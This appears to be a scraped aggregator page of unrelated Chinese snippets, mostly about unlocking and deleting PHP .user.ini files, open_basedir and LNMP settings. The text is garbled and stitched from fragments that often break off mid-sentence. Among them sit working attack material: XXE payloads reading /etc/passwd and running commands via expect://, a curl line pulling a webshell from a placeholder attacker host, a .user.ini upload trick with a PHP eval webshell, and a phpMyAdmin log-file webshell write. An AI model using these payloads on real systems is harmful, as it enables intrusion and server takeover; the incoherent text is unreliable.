背景描述:删除文件夹时,文件中存在文件“.user.ini”,报出错误“删除user.ini提示Operation not permitted”。
1、chattr解决权限问题,对.user.ini进行解锁
2.使用ftp或rm进行删除 总结,为了解决跨站安全问题,现在lnmp 宝塔linux面板 wdcp都对使用了chattr命令对.user.ini进行加锁,所以我们需要解锁。
在Linux中rm -rf的威力是十分巨大的,特别是附带了 -f 参数,不少新手都干过用root用户执行 rm -rf /命令这种傻事,如果云服务器没有快照,简直就是灾难,从根目录开始所有文件被递归删除,连系统都被损坏。
那么我来个新的吧:.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。
LNMP 1.1及之前的版本使用php.ini里面,open_basedir设置 LNMP 1.2及更高版本防跨目录功能使用.user.ini,该文件在网站根目录下,可以修改.user.ini 里面的open_basedir的值来设置限制访问的目录或删除来移除防跨目录的设置。 .user.ini文件无法直接修改,如要修或删除需要先执行:chattr -i /网站目录/.user.ini 可以使用winscp文件管理、vim编辑器或nano编辑器进行修改。 删除的话rm -f /网站目录/.user.ini 就可以。 修改完成后再执行:chattr +i /网站目录/.user.ini .user.ini不需要重启一般5分钟左右生效,也可以重启一下php-fpm立即生效。 如果要更改网站目录必须要按上述方法修改防跨目录的设置,否则肯定报错!! LNMP 1.4或更高版本如果不想用防跨目录或者修改.user.ini的防跨目录的目录还需要将 /usr/local/nginx/conf/fastcgi.conf 里面的fastcgi_param PHP_ADMIN_VALUE "open_basedir=$document_root/:/tmp/:/proc/"; 在该行行前添加 # 或删除改行,需要重启nginx。 LNMP 1.4或更高版本也可以直接使用lnmp安装包 tools/ 目录下的 ./remove_open_basedir_restriction.sh 进行移除。 在Thinkphp、codeigniter、Laravel等框架下,网站目录一般是在public下,但是public下的程序要跨目录调用public上级目录下的文件,因为LNMP默认是不允许跨目录访问的,所以都是必须要将防跨目录访问的设置去掉,有时候这些框架类的程序提示500错误也可能是这个问题引起的。 LNMPA或LAMP 模式1.2版本或更高版本的防跨目录的设置使用的对应apache虚拟主机配置文件(lnmp管理工具添加的话文件是 /usr/local/apache/conf/vhost/域名.conf )里的php_admin_value open_basedir参数进行设置。如果不需要防跨目录设置可以在 php_admin_value open_basedir 该行前面加 # 进行注释,或自行修改参数后面的目录。 重启apache生效。
因为PHP管理后台需要连接数据库,所以会在MySQL上创建一个ftp用户,这里设置的就是这个用户的密码。输入完成,回车确认。
并不只是针对Lnmp的沙盒逃逸,而是.user.ini的设计缺陷达到绕过open_basedir限制,所以是通用的方法。首先来看看最新版LNMP是怎么配置open_basedir的:
可以看一下对比,创建test用户,net user查看用户是可以看见的,而admin$,因为加了个$符号,用net user命令是看不见的。
前言 先扯些题外话,这个题目是在BUUCTF刷到的,本来以为就是普通的文件上传,但是看了其他师傅的文章以后发现了新姿势,这次利用到的知识点也刷新了我对文件上传类题目的认知,所以特此记录一下。本文也参考了这位大师傅的文章,然后再结合我自己的理解记录下来,当然我的理解还不够透彻,所以还请各位师傅多多指教。 这几天又看到一个关于 .htaccess 文件利用的,也是在BUU刷到的,感觉没有必要再单独写一篇文章,所以就追加到这里,题目是 [MRCTF2020]你传你🐎呢1 正文 [SUCTF 2019]Check
文章名称:nginx + php-fpm fastcgi防止跨站、跨目录的安全设置 我们知道apache php mod的方式可以很方便的配置 open_basedir 限制各个站点的目录访问权限。 nginx + php-fpm fastcgi的方式需要这样做。 首先php的版本必须大于等于php5.3.3。 总限制 通过php-fpm.conf限制 在php-fpm.conf配置文件当中可以增加如下参数 env[TMP] = /tmp/ env[TMPDIR] = /tmp/ env[TEMP] = /
老实讲,之前很早我就发现了Flarum这个论坛程序,但是当时我还刚刚跟着摸索建站这些东西,现在才明白这些名词究竟能干嘛 最初在建站之初,我便看到了许多程序,尤其是论坛,那时候作为一个啥也不会的小白,到处找资源,逛得最多的就是那些论坛了 由此,我在想,我能不能自己建立一个论坛呢 当然,就算是萌新也知道例如dz这样的,但是一个初入站长行列的人是舍不得投入成本的,所以没有模板的dz论坛显而易见的丑,所以不久后我就放弃这个想法了。 再后来,偶然见看见了Flarum这个论坛,惊为天人,作为一个现代风的论坛颜值还是蛮高的,所以,我当时试了下, 虽然在当时理所当然没成功就是了
PHP为了安全性考虑,有一项open_basedir的设置,该配置可以设置你访问目录的权限.根据你web服务器环境,open_basedir可以在几个地方设置.
问题 [root@tokyo wwwroot]# rm -rf dl.lianst.com/ rm: cannot remove `dl.lianst.com/.user.ini': Operation not permitted 解决方法 [root@tokyo dl.lianst.com]# chattr -i .user.ini [root@tokyo dl.lianst.com]# rm -rf .user.ini [root@tokyo dl.lianst.com]# ls -lA tot
exif_imagetype() 读取一个图像的第一个字节并检查其签名。说明我们可以在文件头部添加jpg类型图片的标志(FF D8 FF)来绕过并且用JavaScript语句写一句话来绕过对问号过滤
lnmp 删除目录站点的时候是不能直接删除的,先要改变站点目录.user.ini 的属性
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行,做一个简单改造即可使用。对比如下: 改造前: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径:SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种,通过上传webshell来。 利用前提:知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上,直接寄。 1)使用python托管webshell python -m http.server 8088 2)下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析: curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代,没啥好说的,常规思路。 下载url不能带协议 下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。 介绍:https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程: 1)上传.user.ini filename:.user.ini Content-type:image/jpeg 文件正文: GIF89a auto_prepend_file = aaa.jpg 2)上传webshell filename: aaa.jpg Content-type:image/jpeg 文件正文: GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包: 文件——导出分组解析结果——为纯文本 通过notepad++解码: 提取所有注入数据包,此处使用notepad++中的标记功能,查找模式设置为正则表达式。 提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提:知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。它是防御性编程范例的一个组成部分,旨在程序发布之前减少错误。
今天PHP突然报open_basedir restriction错误,改了php.ini还是报错,于是百度查了查,总结如下:
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。
有次老魏使用命令 lnmp vhost del 删除虚拟主机后,需要使用 ftp 或者 rm 命令删除网站目录,但是却发现网站目录下有个文件.user.ini 文件没有自动删除,出现提示 rm: cannot remove `xxx.com/.user.ini’: Operation not permitted,连手动 ftp 也无法删除。 问题分析:根据上面的提示判断文件权限已经被锁定,需要先解除锁定。 问题解决:输入以下命令 chattr -i /home/wwwroot/你的网站目录/.user.in
php.ini 有点复杂 首先php运行有命令行模式(比如 composer安装模块依赖)和 web模式(就是打开页面时正常模式) 两种模式加载的php.ini可能不一样。
解决方法 找到Nginx中的fastcgi.conf配置文件,一般位于fastcgi.conf文件中
文件上传漏洞是指攻击者通过上传恶意文件的方式,绕过服务器的安全机制,向服务器上传含有恶意代码的文件,从而实现对服务器的攻击。
搬到洛杉矶MC机房了,感觉上速度和linode东京差别不大,记录下搬家中的小问题。
如果一个网站允许上传文件,并且允许用户去访问这个文件,那么就可能存在文件上传漏洞。 当我们上传一个php文件并访问,那么这个php文件中的恶意代码将会被执行,我们的目的就是通过构造这个恶意代码,获取我们想要的信息,或执行我们想要的操作。例如下面这行代码:
哈喽大家好,近期我们Sine安全对客户平台进行渗透测试的时候,发现有一些命令执行的漏洞测试语句和函数,导致服务器被提权被入侵,上一节提到XSS跨站脚本攻击检测方法,本章来总和一下脚本执行命令的详细检测手段,以及绕过waf的办法,只有这样详细的对平台进行安全测试才能保障整个平台安全稳定。
在web渗透中,文件上传是最简单直接的方式之一。但是碰到完全不做校验的代码直接上传getshell,很难有这样的运气;大部分时候都有检测,甚至多处设卡。
FTP是网站文件维护中使用比较多的,目前LNMP一键安装包中有Pureftpd和Proftpd服务器安装脚本,LNMP默认不安装任何FTP服务器,需要用户自行安装(1.2开始不再提供proftpd的安装脚本)。
作者:matrix 被围观: 4,382 次 发布时间:2017-09-28 分类:零零星星 | 一条评论 »
何为“后渗透”?就是获取到受害者服务器的权限后,再继续对受害者服务器进行长期攻击或者信息获取的一种持续性手段。常见的手段有,后门、影子账户、会话劫持等等。
本文为仙士可原创文章,转载无需和我联系,但请注明来自仙士可博客www.php20.cn
除了正常的用途外,在渗透中的Apache环境下,可以用.htaccess来重写Apache配置以绕过上传,或者留后门什么的。
拿到webshell之后,通过phpinfo看到disable_functions配置限制的函数,且目录权限受到open_basedir的限制,能执行系统命令的函数都被禁用,常规蚁剑提供的绕过方式也都被封锁,但是从phpinfo文件里发现系统上运行着FPM/FastCGI和nginx。
前篇中提到的漏洞在11.8版本中被完全修复后,我痛定思痛,从头开始找一个新的漏洞,于是就有了今天这个漏洞的诞生,但没想到的是,在保留到2021年初时,1月11号更新的11.9版本中再次被定向修复。
前几天收到一个网友反馈,出现了一个错误提示“open_basedir restriction in effect. File(/opt/rasp_php70/logs/alarm/alarm.log.2022-01-01) is not within the allowed path(s)”,看过之后一头雾水,没遇到过,今天做zblog搜索伪静态的时候突然想起来这个错误了,是的,十天了,我才想起来,没办法啊记性不好。百度了一下,应该是宝塔“防跨站攻击(open_basedir)”引起的错误,一般来说是Apache环境引起的。
以前外贸建站一直用zencart,这段时间ytkah比较有时间,就决定用magento来创建一下站点。magento不像普通的程序一样下载就可以直接安装,需要借助composer安装,还没没composer环境的朋友可以参考composer安装其实可以很简单 两行命令就解决了。magento对php要求比较高一些,建议使用php7.1,不然会提示环境不支持。(本机测试环境:centos6.8/ mysql/ apache)
只需简单设置 Nginx 规则,就能提高 WordPress 网站的安全性,比如限制访问 XMLRPC、限制请求类型、禁止直接访问 PHP 文件和禁止访问某些敏感文件等。将如下代码,放到 WordPress 站点所使用的 Nginx 配置文件 server {} 内即可。
本文主要介绍权限维持,介绍如何在有一定权限的情况下,留下后门。当然各类后门太多太多了,这里主要列举一些常用的、方便的。
有一次魏艾斯博客的一个 wordpress 博客从 windows VPS 搬家到 linux VPS 之后,遇到了插件要更新,点击升级之后,弹窗提示如下图: “无法连接到文件系统,请确认您的凭据。要
最后查到问题出在php的配置上,主要是因为配置了open_basedir项目,但是找遍了php.ini和php-fpm.conf也没有找到哪里设置了这个配置项,最后在看一个回答的时候,发现项目根目录可以放一个.user.ini文件来设置允许php访问的目录。
个人或者团队需要属于自己的私有云/网盘存储资料,用于分享用途,大家常用搭建的程序是 owncloud,但是也停止更新了。然后核心团队出来做了一个全新的私有云-Nextcloud,据说比 owncloud 改进了很多。所以魏艾斯博客借此机会体验一下基于宝塔面板和Nextcloud 搭建私有云/网盘。
apache在启动时php.ini被读取。对于服务器模块版本的php,仅在web服务器启动时读取一次。对于CGI和CLI版本,每次调用都会被读取
坑一、 解决方法: 根目录下删除文件.user.ini 坑二、 redis未设置正确(未安装,或安装后未设置密码等) 解决方法:安装并设置正确
除了文件的读写,执行权限外,linux还有一种隐藏权限,设置隐藏权限可以防止一些其他用户的误操作或者恶意操作,当我们配置了nginx的放跨站攻击或其他安全措施后,相应的会在项目的根目录下生成一个隐藏文件.user.ini,当删除整个项目时会阻止操作完成.我们使用ls命令并使用chmod chown等命令设置了文件权限后会发现还是无法删除.这就是因为这个文件有隐藏的权限
在项目的开始阶段,不要上手直接写代码,一定要先确定代码的分层和架构。该分层和架构在一定程度上决定了未来整个项目的代码风格和维护性,对于项目的长期维护,代码架构的设计是一件非常重要的事情。
主要问题就是,File(/data/tntsearch/stickers.index) is not within the allowed path(s)
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
领取专属 10元无门槛券
手把手带您无忧上云